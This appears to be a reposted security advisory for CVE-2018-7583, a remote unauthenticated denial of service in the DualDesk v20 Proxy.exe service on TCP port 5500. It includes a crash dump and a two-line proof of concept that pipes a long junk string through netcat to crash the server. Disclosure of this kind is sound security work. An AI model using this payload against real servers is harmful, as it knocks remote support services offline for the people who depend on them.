DualDesk 20 - Proxy.exe Denial of Service Vulnerability

[+] Credits: John Page (aka hyp3rlinx)      
  
 
Vendor:
===============
www.dualdesk.com
 
  
Product:
===========
DualDesk v20
 
DualDesk is powerful, easy to use remote support software that is a one-time purchase and lets your
technical support staff remote assist a PC anywhere on the internet through firewalls in seconds with no
configuration. 
 
 
 
Vulnerability Type:
===================
Denial Of Service
 
 
 
CVE Reference:
==============
CVE-2018-7583
 
 
Security Issue:
================
Remote unauthenticated attackers can crash the "Proxy.exe" Server component of Dualdesk application 
which listens on TCP Port 5500 by sending a long string of junk chars.
 
(d24.d60): Security check failure or stack buffer overrun - code c0000409 (first/second chance not available)
eax=00000000 ebx=0257f1c0 ecx=00000000 edx=00000000 esi=00000002 edi=00000000
eip=77c6016d esp=0257f170 ebp=0257f20c iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
ntdll!NtWaitForMultipleObjects+0x15:
77c6016d 83c404          add     esp,4
 
 
Exploit/POC:
=============
Start the Dualdesk Run Proxy as Application.
 
C:\>python -c "print 'a'*8000" > crash.txt
 
C:\>type crash.txt | nc.exe localhost 5500
 
Crash!!!

#  0day.today [2018-04-09]  #